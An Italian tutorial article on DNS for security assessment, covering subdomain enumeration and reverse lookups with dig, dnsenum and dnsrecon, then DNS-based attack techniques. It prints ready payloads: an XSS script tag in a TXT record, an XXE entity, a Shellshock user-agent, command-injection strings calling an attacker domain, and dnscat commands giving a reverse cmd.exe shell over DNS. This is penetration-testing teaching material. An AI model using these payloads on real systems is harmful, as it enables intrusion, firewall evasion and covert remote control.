DNS: usarlo per l’analisi di vulnerabilità

Il DNS è uno degli strumenti più utilizzati su Internet: ecco come utilizzarlo per ottenere informazioni sui domini, e sfruttare eventuali vulnerabilità ad essi connesse.

Il Domain Name System (DNS) è uno degli strumenti che più spesso, senza rendercene conto, utilizziamo durante la navigazione web. Esso è il sistema che si occupa di trasformare un indirizzo web (o hostname – nel formato www.nomesito.it) in un indirizzo IP (nel formato numerico nnn.nnn.nnn.nnn). Come vedremo nel seguito, i DNS hanno però tantissime altre funzioni, e lo scopo di questo articolo è di dimostrare com’è possibile effettuare enumerazione e discovery, cioè come leggere gli indirizzi IP associati ad un dominio, e scoprire i sotto-domini ad esso connessi. Ci sarà poi anche spazio per trattare i nuovi vettori d’attacco che utilizzano il DNS. L’articolo prevede l’uso di alcuni tool, generalmente presenti sulla maggior parte delle distribuzioni Unix.

Tipi di DNS

Prima di iniziare con la pratica è necessario aver chiaro quali principali tipi di record DNS esistono, ed il loro campo di utilizzo:

Tipo di record DNS Descrizione
A Trasforma un nome host in un indirizzo IPv4
AAAA Trasforma un nome host in un indirizzo IPv6
CNAME Trasforma un nome host in un altro nome host
MX Fornisce l’indirizzo del Mail Exchange (utilizzato per l’inoltro di posta elettronica
NS Fornisce l’indirizzo del Name Server (utilizzato per la gestione dei record DNS)
TXT Fornisce una stringa
SRV Service Record, usato per specificare un tipo di servizio; può contenere hostname e porta su cui il servizio lavora. Spesso è usato per centralini VoIP
PTR Pointer Record, usato per ricavare un hostname dato un indirizzo IP

Sulla pagina di Wikipedia è disponibile la lista completa di tutti i tipi di record DNS.

Enumerazione e discovery

Il tool che ci consente di effettuare richieste di tipo DNS è dig. Vediamo come poter richiamare il tipo DNS A sul dominio html.it, utilizzando il server DNS di Google (8.8.8.8): 


dig @8.8.8.8 -t A html.it
Figura 1. (click per ingrandire)

Qualora volessimo ottenere tutti i tipi di record DNS senza specificarli uno ad uno useremo: 


dig @8.8.8.8 -t ANY html.it
Figura 2. (click per ingrandire)

Le informazioni ricavate da dig possono però risultare troppo semplici e abbastanza incomplete. Possiamo acquisire altre informazioni utilizzando dnsdict6: 


dnsdict6 -4 -d -S html.it

Nel comando precendente:

  • il parametro -4 specifica di effettuare l’enumerazione anche sul protocollo IPv4;
  • il parametro -d mostra informazioni ed indirizzamenti IPv6;
  • il parametro -S infine richiede di effettuare enumerazione sul tipo DNS SRV.
Figura 3. (click per ingrandire)

dnsdict6 contiene per default un dizionario di circa 1500 parole che viene utilizzato (come si vede dall’output precedente) per scovare domini di terzo livello (chiamati anche sotto-domini). È però possibile specificare un dizionario esterno appendendolo alla fine del comando: 


dnsdict6 -4 -d -S html.it /home/simone/dizionari/dns_presonal.txt

Ora che abbiamo ottenuto una lista più o meno completa di sotto-domini possiamo passare all’uso di dnsenum, un comando che oltre a provare con un dizionario di parole, effettua direttamente una ricerca su Google per fornire risultati più accurati: 

dnsenum --dnsserver 8.8.8.8 --enum html.it

Nel comando precedente:

  • il parametro –dnsserver specifica su quale server andare ad effettuare la richiesta
  • il parametro –enum avvia vari tipi di enumerazione, fra cui dizionario, ricerca Google e risultati di WhoIs:
Figura 4. (click per ingrandire)

È inoltre possibile ottenere una lista di sotto-domini tramite Google (escludendo i risultati che contengono “www”), utilizzando la stringa come in esempio: 


site:html.it -www
Figura 5. (click per ingrandire)

A questo punto abbiamo ancora più informazioni sul dominio sotto analisi. Possiamo raccogliere, per completezza, anche le chiavi DNS utilizzate per mettere in sicurezza il dominio da attacchi Man-in-the-Middle o trasferimenti fraudolenti. Questo sistema di protezione si chiama DNSSEC. 


dnsrecon -d verisigninc.com

Il parametro -d consente di specificare il dominio su cui effettuare enumerazione.

Figura 6. (click per ingrandire)

Ora abbiamo abbastanza informazioni per effettuare discovery: si tratta del processo di ricerca, fra gli indirizzi IP “vicini”, di altri nomi DNS che potrebbero riferirsi al nostro target. 


dnsrecon -r 151.1.244.200/24

Il parametro -r effettua un Reverse Lookup. Il range va specificato con una netmask, e la richiesta che viene inviata al server DNS è di tipo PTR.

Figura 7. (click per ingrandire)

Per fare reversing sugli indirizzi IPv6 possiamo utilizzare dnsrevenum6:


dnsrevenum6 8.8.8.8 2001:41d0:1:ad64:1::/48

Nel precedente comando, il primo parametro è l’indirizzo del server DNS (in questo caso Google) ed il secondo parametro è il range (specificato con netmask /48) dell’indirizzo IPv6.

Figura 8. (click per ingrandire)

Tutte le informazioni raccolte provengono da servizi pubblici e sono quindi consultabili da chiunque. Non abbiamo commesso nessuna attività illegale durante l’enumerazione ed il discovery.

Il percorso di una richiesta DNS

Figura 9. (click per ingrandire)

L’immagine predenete è stata selezionata dalla presentazione tenuta da Ron Bowes (dipendente Google) durante il DerbyCon 2014. Spiega esattamente il percorso di una richiesta DNS:

  1. il primo dispositivo che interroghiamo è il nostro Router;
  2. nel caso in cui non sia già stato richiamato esso, passerà la richiesta al server DNS configurato all’interno del router;
  3. se neanche Google è in grado di risolvere l’indirizzo, chiederà ai root-servers (server responsabili per ognuno dei domini di primo livello);
  4. se anche questi ultimi non trovano una risposta, gireranno la richiesta all’authoritative server, che è un server DNS sotto il nostro controllo.

In questo modo potremo rispondere all’originale richiesta DNS con un valore scelto da noi. Dobbiamo tener presente che il servizio DNS è lasciato aperto sulla maggior parte dei server; se così non fosse non ci sarebbe possibilità per lo stesso server di comunicare con il “mondo” esterno. Questo ci consente di avere una via di comunicazione privilegiata con il server, riuscendo a bypassare eventuali firewall o Intrusion Prevention System (IPS).

Nuove metodologie d’attacco utilizzando i DNS: verifica della vulnerabilità

In un assessment in blackbox è difficile capire come un dato venga effettivamente trattato all’interno del sistema. Attraverso l’uso dei DNS siamo in grado di tracciare o perlomeno capire se il nostro dato viene acceduto da terzi.

Cross-Site Scripting (XSS)

Tra il 2010 ed il 2012 sono stati effettuati dei test sui tre maggiori portali di WhoIs, e sorprendentemente tutti erano vulnerabili ad un attacco di tipo XSS. L’attaccante aveva semplicemente creato un record DNS di tipo TXT con un codice simile a questo: 


<script src="http://vostrosito/evil.js"></script>

Utilizzare altri tipo di DNS come CNAME, MX o PTR sarebbe stato più difficile, in quanto i tipi di record precedenti non permettono l’uso di spazi o doppi apici. Ma basta conoscere la sintassi di HTML e JavaScript per creare un proof of concept senza doppi apici o spazi come in esempio: 


<script/src='http://vostrosito.evil.js'></script>
Figura 10. (click per ingrandire)

L’attaccante riuscì ad iniettare all’interno della pagina (e permanentemente) un codice potenzialmente malevolo per qualsiasi visitatore.

SQL Injection

Esistono molte funzioni in PHP o ASP che consentono di prelevare il valore di un record DNS. Quel dato potrebbe essere successivamente utilizzato in una query SQL senza essere filtrato. Guardiamo come poter sfruttare questo tipo di vulnerabilità prendendo in esempio un livello, risolto da Ron Bowes, di un CTF (Capture the Flag) scritto in PHP:

Figura 11. (click per ingrandire)

L’attaccante ha la possibilità di modificare la query SQL, ottenendo la password di un altro utente, utilizzando un record DNS di tipo TXT come in esempio:

Figura 12. (click per ingrandire)

Questo è solo un esempio tratto da un gioco dove l’utente conosce il codice sorgente dell’applicazione. In una caso reale è difficile “azzeccare” la giusta query SQL se non si conosce a priori com’è stata scritta.

XML External Entity (XXE)

Possiamo verificare se un sistema è vulnerabile ad XXE inserendo, all’interno del file o della query XML, un codice come il seguente: 


]<!ENTITY xxe SYSTEM "http://notexistingname.ourserver.org" >]>
<user>&xxe;</user>

Se riceveremo sul nostro server una richiesta di risoluzione DNS per “notexistingname” sapremo che il sistema è vulnerabile all’iniezione di entity esterne. A quel punto potremmo procedere con il prelevare file locali (come ad esempio /etc/passwd).

Shellshock

Uno dei metodi meno invasivi per verificare la presenza del recente bug di Bash (Shellshock, appunto) è utilizzare la risoluzione dei DNS attraverso l’uso di nslookup (comando riconosciuto su Windows, Linux e Mac). Si può impostare uno user-agent come il seguente ed attendere che arrivino richieste: 


() { test;};nslookup shellshocked.ourserver.org

Se riceveremo sul nostro server una richiesta di risoluzione DNS per “shellshocked” sapremo che la web application utilizza script con una versione vulnerabile di Bash. Potremo quindi eseguire qualsiasi altro comando invece di un semplice nslookup.

Remote command execution (RCE)

Come nell’esempio di Shellshock possiamo lanciare nslookup per verificare la vulnerabilità di tipo RCE. Per farlo ci sono vari “trucchi” come in esempio: 


;nslookup shell.ourserver.org
`nslookup shell.ourserver.org`
|nslookup shell.ourserver.org
$(nslookup shell.ourserver.org)

Come negli esempi precedenti, quando riceveremo una richiesta di risoluzione per “shell” avremo verificato la vulnerabilità e potremo procedere con l’attacco.

Nuove metodologie d’attacco utilizzando i DNS: attacco post-verifica

Dopo aver verificato che uno degli attacchi citati in precedenza ha funzionato, possiamo continuare ad utilizzare il servizio DNS per mantenere un profilo basso senza creare troppo “rumore” sulla rete bersaglio. Avremo bisogno di un tool chiamato dnscat, presente all’interno della suite nbtool, ed ottenibile tramite GitHub.

Una volta compilato possiamo procedere con l’avvio del server su una macchina esposta su internet: 


dnscat --listen -p 53

Nel comando precedente:

  • –listen avvia dnscat in modalità server (in ascolto);
  • -p identifica la porta su cui fare “listening”. La 53 è, di default, quella del servizio DNS.

Ora possiamo avviare, sulla macchina bersaglio, dnscat in modalità client, che ci ritornerà la shell dei comandi di Windows (cmd.exe): 


dnscat --dns virtualmachine1 -e cmd.exe

Qui:

  • –dns identifica l’ip o l’hostname della macchina su cui è avviato dnscat in modalità server
  • –exec avvia il prompt dei comandi di Windows
Figura 13. (click per ingrandire)

E questa invece è la visuale dal server:

Figura 14. (click per ingrandire)

Tutto quello che viene scritto e letto da dnscat passa attraverso query DNS, come possiamo vedere sfruttando Wireshark:

Figura 15. (click per ingrandire)

Conclusioni

Abbiamo visto come usare (e abusare) di un servizio che è sempre esistito sin dai primi anni ’80, e su cui l’intera Internet si basa. L’articolo dimostra come sia possibile ottenere informazioni facendo delle query di tipo DNS e sfruttare un canale di comunicazione difficilmente filtrato.

Molte delle metodologie di riconoscimento ed attacco presentate in questo articolo sono tratte dalla presentazione di Ron Bowes, disponibile online.

Il video seguente, infine, è una dimostrazione dell’attacco XSS ai maggiori siti di WhoIs:

I Video di HTML.it

Microsoft Azure per sviluppatori, startup e maker